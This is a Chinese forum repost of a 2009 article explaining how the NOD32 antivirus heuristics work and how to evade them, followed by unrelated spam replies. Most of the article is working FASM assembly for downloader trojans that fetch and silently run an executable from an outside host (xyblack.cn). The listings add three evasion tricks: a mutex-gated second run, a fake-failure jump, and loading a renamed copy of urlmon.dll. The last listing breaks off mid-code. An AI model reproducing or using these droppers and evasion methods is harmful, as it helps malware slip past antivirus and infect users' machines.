博威---云架构决胜云计算

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 3724|回复: 2

深入剖析nod32启发机制(by 黑客防线 小鱼)

[复制链接]
发表于 2009-1-6 05:04:44 | 显示全部楼层 |阅读模式
深入剖析nod32启发机制(by 黑客防线 小鱼)Tags: 启发 机制 剖析
首先我声明下我很讨厌那些很理论的知识,所以这篇文章我也是从实践出发,一步一步的来深入的剖析nod32启发的机制,其实说是剖析nod32启发机制,但是我也不得不说下主动防御。希望这篇文章能给你带来帮助!!!!

      启发机制是目前杀软的主流方向,因为启发机制——直接影响杀毒软件文件监控以及文件扫描对于未知病毒的防杀以及查杀能力。那么说到启发就不得不说下主动防御,主动防御目前也是很多杀软的主流方向。但主动防御虽然固好,但是效率等都不如启发。想知道为什么就往下看吧。

     因为主动防御是基于行为规则判断的,一般的杀毒软件都采用内核级hook,而一般的杀毒软件采用内核级hook来拦截NATIVE API(指的就是内核执行体的输出函数),而内核级hook大部分都是采用HOOK SERVICE TABLE(系统服务描述表)。大家可以用一些内核的工具(如IceSword,wSyscheck)查看下。

      为了给大家一个更直观的印象,我用IceSword查看了下安装了瑞星杀毒软件的计算机系统的服务描述表情况,如下图
2222Igb.jpg (71.14 KB)
2008-8-9 22:34



上面红色显示的则为瑞星hook的NATIVE API。 这些函数是以ntkrnlpa.exe(双核cpu内核执行体,单核的为ntoskrnl.exe)输出的接口!!

      一般我们的程序都是调用的是用户模式上(Ring 3)一些环境子系统输出的api函数,而我们平常调用的api函数其实仅仅只是一个外壳,而真正的实现代码其实是在内核执行体中。用户模式的下的程序仅仅只能访问进程的低2GB地址空间,而高2GB是操作系统的内核空间,我们是无法访问的。这样做是为了确保操作系统的稳定性。

    平常我们调用的函数要经历大致如下步骤(以下为自己对于操作系统内核的理解来说的,不敢保证完全正确):
    举例说明: 如SetContextThread函数:
    SetContextThread ——NTDLL(NtSetContextThread, 通过传递系统服务号,以及调用中断转到内核)——Windows从系统服务描述表查询传递的系统服务号——最终调用的是内核执行体的接口函数NtSetContextThread

   所以一般杀毒软件只需要修改系统服务描述表对应例程地址,则你在调用这些函数的时候就会转向到它自己定义的例程中。 因为这样在这个例程中它就可以进行一些操作,例如弹出消息框提示用户,或者直接结束这个调用函数的程序等等)。从这里我们可以看到主动防御是基于行为查杀的,也就是通过行为来进行判断,例如一般我们注入进程会调用CreateRemoteThread, SetContextThread 等函数。那么杀毒软件则hook这些函数对应的系统原生态函数,则当程序调用这些函数发生一些危险动作的时候,杀毒软件主动防御就会提示给用户 如: xxxx进程试图将数据注入到xxx进程中的提示框 。然后让用户选择结束还是放行。这就存在了一个问题:那就是很多如果不懂任何计算机安全相关的人看到这样的提示他就不知道该如何去做了,这也是主动防御的弊端之处。

    那么是不是有主动防御就万事大吉了,当然不是,它Hook这些函数,那么只要我们的木马不调用这些函数,或者将系统服务描述表它hook的函数全部恢复掉,这样主动防御也就等于失效了。 这时候任何的木马就可以明目张胆的侵入你的计算机。

   而启发式扫描则不同,启发式扫描一般通过虚拟机代码仿真技术对你的文件在一个虚拟的环境中进行模拟运行,这样就可以分析出你的行为,这样未知病毒的行为都暴露出来了,这样通过此项技术一般都可以发现很多的未知病毒和木马。

   启发式有弊端,例如如果某个木马或者是病毒通过某种方式躲过了启发式扫描,则这时候基本杀毒软件就废了,因为已经没有任何作用了,木马几乎可以横行了。这个时候就该考虑要是多个主动防御该多好啊,起码还能进行二次拦截提示用户呵呵。。


    以上就是启发式与主动防御的利与弊,至于启发的利,首先效率是相当高的,因为不像主动防御Hook一大堆NATIVE API, 这样只要程序调用它hook的函数,则必须要经过它自定义的例程去处理,这样肯定是及其耗系统资源的。并且如果驱动不是很稳定的话,则总会造成蓝屏等状况。   启发则不同,拥有效率高,耗系统资源少,稳定性高等优势。所以建议大家选杀毒软件,如果你的配置不是大众化的,nod32是你的选择,否则我想你肯定不愿意出现蓝屏等情况吧。   还有我想以后大家如果说xxx杀软垃圾,xxxx杀软好的时候,你应该看下此篇文章认识下各个杀毒软件的机制在评论不迟。

下面我们来深入的剖析nod32的启发机制:

    启发式我举得应该归根于文件扫描引擎中,所以我们就将其叫做启发式扫描吧。那么nod32,不仅仅只是启发式扫描,并且它也应用了传统的特征码匹配技术(特征码匹配技术就是截获病毒样本,然后人为的进行逆向分析,这里为nod32的病毒样本分析师帅哥致敬,这些帅哥找出这个样本的一些特殊地方,然后将这这些特殊地方作为特征码存放到病毒库中并其一个名称, 例如nod32的起名规则一般为“平台/定义名称,举例 win32/ trojanDownLoader)。nod32的启发从控制台的文件监控选项也能看出来。
20080809_1cdcccd9bdf68fdfba61UiD2GhVMoIgb.jpg (26.04 KB)
2008-8-9 20:56


我们看到它有一个高级启发式扫描的选项,我们勾选这个,则扫描引擎在扫描文件的时候才会去调用高级启发式扫描的过程。所以这个大家一定要注意勾选啊。o(∩_∩)o... 否则..如果nod32病毒库没有匹配特征码的话,你就over了。。


   nod32的启发比较智能和效率高,其一个原因就是它将一些函数分成一些特定的组合。 例如下载,马上执行这就是一个典型的下载者行为。所以nod32一般会将下载和执行作为下载者的依据。(当然可能还要做更多的判断,例如判断这个程序是否还有其他的行为,如果仅仅是下载执行那么必是一个下载者)。

    我们做个测试,写一段代码,仅仅是下载的话。nod32是不报毒的。 我们的代码如下:

复制内容到剪贴板 代码:format PE GUI 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
xor esi, esi
i URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi
ret

;////////////////////////////////// data ///////////////////////////////
.data
szUrl db 'http://www.xyblack.cn/s.exe', 0
szPath db 'c:\1.exe', 0
PathSize = $-szPath
.idata
library urlmon, 'urmon.dll'
include 'api\urlmon.inc'


上述代码编译后,nod32不报毒。

  但是只要在     i  URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi 后加上段任意的执行函数( 如i  WinExec, szPath, SW_HIDE),则nod32报毒
20080809_1cdcccd9bdf68fdfba61UiD2GhVMoIgb.jpg (5.99 KB)
2008-8-9 20:59


。nod32最出色的是它会去分析程序的引入表, 举个例子,例如下载执行的函数大多数都存在于Urlmon.dll以及kernel32.dll以及wininet.dll中等,所以我们的程序只要引入了Urlmon.dll或kernel32.dll,并且只要程序中使用了URLDownloadToCacheFile 函数,并引入kernel32.dll,nod32就会报毒,这无疑简化了很多效率,但是却有误报啊,例如对于一些可以构建pe结构的编译器编译的程序,如果人家引入了kernel32.dll但是功能仅仅是一个下载,你确报毒,这无疑是误报啊。。。。

   但是对于nod32这样出色的杀毒软件,它不会判断你引入这些危险的函数就直接将你定义为病毒, 因为这些函数很多正常的程序也是会调用的。 而它会依据虚拟机代码仿真技术重点对你引入的这些函数去重点进行分析,分析其行为以及参数等。

   那么nod32真的这么难突破吗?    那么下面我们就来实战的通过两个角度来实战突破nod32的启发机制。

突破方式角度1:

    因为nod32是基于虚拟机的形式,所以第一种方法是基于虚拟机。 实质是思维逻辑的判断。 nod32通过虚拟机代码仿真,那么我在其上面给你一段正常的代码。(注:这个之前的大致思路是朋友发现的,不过下面的整个思路和想法是自己所思索的)

    举例例如:
    i  GetModuleFileName, esi, ebx, MAX_PATH
    i  WinExec, ebx, SW_HIDE
     i  ExitProcess, 0


   这很正常吧。获得自己的文件路径,运行后就退出。 我想nod32的引擎在虚拟机分析到这里肯定就已经断定是一个正常程序了。   因为尤其是到ExitProcess这个函数地址处,因为这已经表示这个程序退出了。。

    那么大家仔细看,上面是获取自己的路径,然后运行自己。那么我们只要让它在第二次运行的时候去判断自己已经运行过了,从而跳转到特定的地址去执行,这个地址才是我们的木马的代码。   因为nod32每次分析我们的木马,由于是初次运行,所以我们的判断绝对跳转没有实现,所以指令只会去执行这几句代码,所以迫使nod32认为这就是个正常的程序代码。 以此躲过nod32的启发。

实现代码如下: 复制内容到剪贴板 代码:format PE GUI 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
  xor  esi, esi
  i  CreateEvent, esi, esi,esi, szMutex
  i  GetLastError
  or  eax, eax
  jne  @f
  mov  ebx, szName
  i  GetModuleFileName, esi, ebx, MAX_PATH
  i  WinExec, ebx, SW_HIDE
  i  Sleep, 1000
  jmp  _end
  
@@:

  i  URLDownloadToFile, esi, szUrl, szPath, esi, esi
  i  WinExec, szPath, SW_SHOW

_end:
  i  ExitProcess, 0

;////////////////////////////////// data ///////////////////////////////
section '.data' data readable writeable
szMutex  db  'woaihaha',0
szUrl  db  'http://www.xyblack.cn/s.exe', 0
szPath  db  'F:\2.exe', 0
szName  rb  MAX_PATH

.idata
   library  urlmon, 'urlmon.dll',\
     kernel32, 'kernel32.dll'
  include  'api\urlmon.inc'
  include  'api\kernel32.inc'

解释:     其实就是加了个创建命名内核空间的函数,由于第一次运行创建命名内核对象函数的话是创建成功的,所以我们就是依据这个原理进行了判断,如果创建失败的话再去执行下载函数,而创建命名内核对象的函数是在 所创建的命名内核对象已存在的情况下才会失败,试问nod32来模拟此指令的时候是创建的成功的,所以它会去执行下面的获得程序的文件路径,然后运行自己,退出程序。 在分析到退出程序的时候,它已经认为这个程序是个安全的了。 而我们的程序第二次运行的时候因为内核对象已经存在了,所以创建失败,然后会去执行下载,执行的函数。。      

这样,轻松简单的突破nod32启发机制。。



突破方式角度2:


   此突破方案,还是基于对nod32虚拟机代码模拟思维逻辑。 由于nod32是基于虚拟机进行,那么我想我精心设计一个函数,使其是个错误的,nod32模拟分析到这里,它模拟到这个函数本就是个错误的。我想它肯定不会在再去分析一遍这个函数,所以它肯定还是分析下面的指令,它分析到执行函数,认为这仅仅就是一个的执行文件的程序嘛,所以也认为是其安全的。。 呵呵,这样也简单的突破nod32的启发。

代码: 复制内容到剪贴板 代码:format PE GUI 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
  xor  esi, esi
  mov  edi, edi
  xor  ebx, ebx
  jmp  @f
  
_l1:
mov  edi, szUrl
mov  ebx, szPath

@@:
  i  URLDownloadToFile, esi, edi, ebx, esi, esi
  or  eax, eax
  jne  _l1
  i  WinExec, szPath, SW_HIDE
  i  ExitProcess, 0

;////////////////////////////////// data ///////////////////////////////
.data

  szUrl db  'http://www.xyblack.cn/s.exe', 0
  szPath db  'c:\1.exe', 0

.idata
  library  urlmon, 'urlmon.dll',\
   kernel32, 'kernel32.dll'
  include  'api\urlmon.inc'
  include  'api\kernel32.inc'

突破方式角度3:

    此方法是基于动态地址获取的,因为在我分析的过程中,我发现nod32对于非系统库的dll的获取非常不敏感。。     因为LoadLibrary 和GetProcAddress组合,我想nod32肯定将这这个函数组合也放到特定的匹配包里了。但是nod32在分析的过程中针对LoadLibrary的参数进行分析时,如果这个参数指向的是非系统的dll,则nod32不进行重点分析,因为这可能是一个用户的dll,并且输出接口名一样也是有可能的。可能这时候有人说我自己写个dll,然后实现一个下载过程,然后输出接口。你要知道你写的dll还是引入了系统的dll,所以你的这个dll还是被nod32杀的。 而咱这个是把一个操作系统本身的无毒东东,换个名字就变成有毒的了。 哈哈

  代码: 复制内容到剪贴板 代码:format PE GUI 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
section '.text' code readable  writeable executable
szText db 'URLDownloadToFileA', 0
szUrl  db 'http://www.xyblack.cn/bitmap.exe', 0
szPath db 'c:\1.exe', 0
szDll  db '\urlmon.dll', 0, 0
szNewPath db 'c:\3.dll',0
szWindowPath rb MAX_PATH

__start:
  i  GetSystemDirectory, szWindowPath, MAX_PATH
  mov  edi, szWindowPath
  repne scasb
  mov  ecx, 4
  mov  esi, szDll
  rep
发表于 2009-1-21 13:02:35 | 显示全部楼层

不错的一个企业论坛,找到很多对我有帮助的喷漆房内容.不错不错,以后一定常来
发表于 2009-5-22 08:51:34 | 显示全部楼层

慢性鼻窦炎治疗

1、平时注意鼻腔卫生。
  2、注意擤涕方法。鼻窦炎症状鼻塞多涕者,宜按塞一侧鼻孔,稍稍用力外擤。之后交替而擤。
  3、游泳时姿势要正确,慢性鼻窦炎治疗尽量做到头部露出水面。
  4、有牙病者,要彻底治疗。
  5、急性发作时,多加休息。过敏性鼻炎治疗卧室应明亮,保持室内空气流通。过敏性鼻炎的治疗但要避免直接吹风及阳光直射。
  6、遵医嘱及时用药。
  7、慢性鼻窦炎者,治疗要有信心与恒心,注意加强锻炼以增强体质。
  8、严禁烟、酒、辛辣食品。
  9、保持性情开朗,精神上避免刺激,治疗过敏性鼻炎同时注意不要过劳。
  10、平时可常做鼻部按摩。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|boway Inc. ( 冀ICP备10011147号 )

GMT+8, 2024-11-22 17:36 , Processed in 0.095556 second(s), 17 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表